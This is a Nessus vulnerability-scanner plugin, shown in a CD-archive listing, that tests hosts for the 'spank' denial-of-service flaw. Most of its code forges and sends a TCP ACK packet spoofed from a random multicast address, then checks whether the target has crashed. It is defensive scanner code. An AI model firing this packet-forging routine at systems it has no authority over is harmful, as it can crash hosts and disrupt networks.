home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / spank.nasl < prev    next >
Text File  |  2005-03-31  |  3KB  |  114 lines

  1. #
  2. # This script was written by Michel Arboi <arboi@alussinan.org>
  3. #
  4. # GNU Public Licence
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(11901);
  10.  script_version ("$Revision: 1.8 $");
  11.  
  12.  name["english"] = "spank.c";
  13.  script_name(english:name["english"]);
  14.  
  15.  desc["english"] = "
  16. Your machine answers to TCP packets that are coming from a multicast
  17. address. This is known as the 'spank' denial of service attack.
  18.  
  19. An attacker might use this flaw to shut down this server and
  20. saturate your network, thus preventing you from working properly.
  21. This also could be used to run stealth scans against your machine.
  22.  
  23. Solution : contact your operating system vendor for a patch.
  24.            Filter out multicast addresses (224.0.0.0/4)
  25.  
  26. Risk factor : Medium";
  27.  
  28.  script_description(english:desc["english"]);
  29.  
  30.  summary["english"] = "Sends a TCP packet from a multicast address";
  31.  script_summary(english:summary["english"]);
  32.  
  33.  # Some IP stacks are crashed by this attack
  34.  script_category(ACT_KILL_HOST);
  35.  
  36.  script_copyright(english:"This script is Copyright (C) 2003 Michel Arboi");
  37.  family["english"] = "Denial of Service";
  38.  family["francais"] = "DΘni de service";
  39.  script_family(english:family["english"], francais:family["francais"]);
  40.  
  41.  exit(0);
  42. }
  43.  
  44. #
  45.  
  46. # We could use a better pcap filter to avoid a false positive... 
  47. if (islocalhost()) exit(0);
  48.  
  49. dest = get_host_ip();
  50.  
  51. a = 224 +  rand() % 16;
  52. b = rand() % 256;
  53. c = rand() % 256;
  54. d = rand() % 256;
  55. src = strcat(a, ".", b, ".", c, ".", d);
  56.  
  57. if (! defined_func("join_multicast_group"))
  58.   m = 0;
  59. else
  60.   m = join_multicast_group(src);
  61. if (! m && ! islocalnet()) exit(0);
  62. # Either we need to upgrade libnasl, or multicast is not 
  63. # supported on this host / network
  64. # If we are on the same network, the script may work, otherwise, the chances
  65. # are very small -- only if we are on the way to the default multicast
  66. # gateway
  67.  
  68. start_denial();
  69.  
  70. id = rand() % 65536;
  71. seq = rand();
  72. ack = rand();
  73.  
  74. #port = get_host_open_port();
  75. sport = rand() % 65535 + 1;
  76. dport = rand() % 65535 + 1;
  77.             
  78. ip = forge_ip_packet(ip_v: 4, ip_hl : 5, ip_tos : 0x08, ip_len : 20,
  79.              ip_id : id, ip_p : IPPROTO_TCP, ip_ttl : 255,
  80.              ip_off : 0, ip_src : src);
  81.  
  82. tcpip = forge_tcp_packet(ip: ip, th_sport: sport, th_dport: dport,   
  83.              th_flags: TH_ACK, th_seq: seq, th_ack: 0,
  84.              th_x2: 0, th_off: 5,  th_win: 2048, th_urp: 0);
  85.  
  86. pf = strcat("src host ", dest, " and dst host ", src);
  87. ok = 0;
  88. for (i = 0; i < 3 && ! ok; i ++)
  89. {
  90.   r = send_packet(tcpip, pcap_active:TRUE, pcap_filter: pf);
  91.   if (r) ok = 1;
  92. }
  93.  
  94. alive = end_denial();
  95. if (! alive)
  96. {
  97.   report = "
  98. Your machine crashed when it received a TCP packet that were coming 
  99. from a multicast address. This is known as the 'spank' denial of 
  100. service attack.
  101.  
  102. An attacker might use this flaw to shut down this server, thus 
  103. preventing you from working properly.
  104.  
  105. Solution : contact your operating system vendor for a patch.
  106.            Filter out multicast addresses (224.0.0.0/4)
  107.  
  108. Risk factor : High";
  109.   security_hole(port: 0, proto: "tcp", data: report);
  110.   set_kb_item(name:"Host/dead", value:TRUE);
  111. }
  112. else if (r)
  113.   security_warning(port: 0, proto: "tcp");
  114.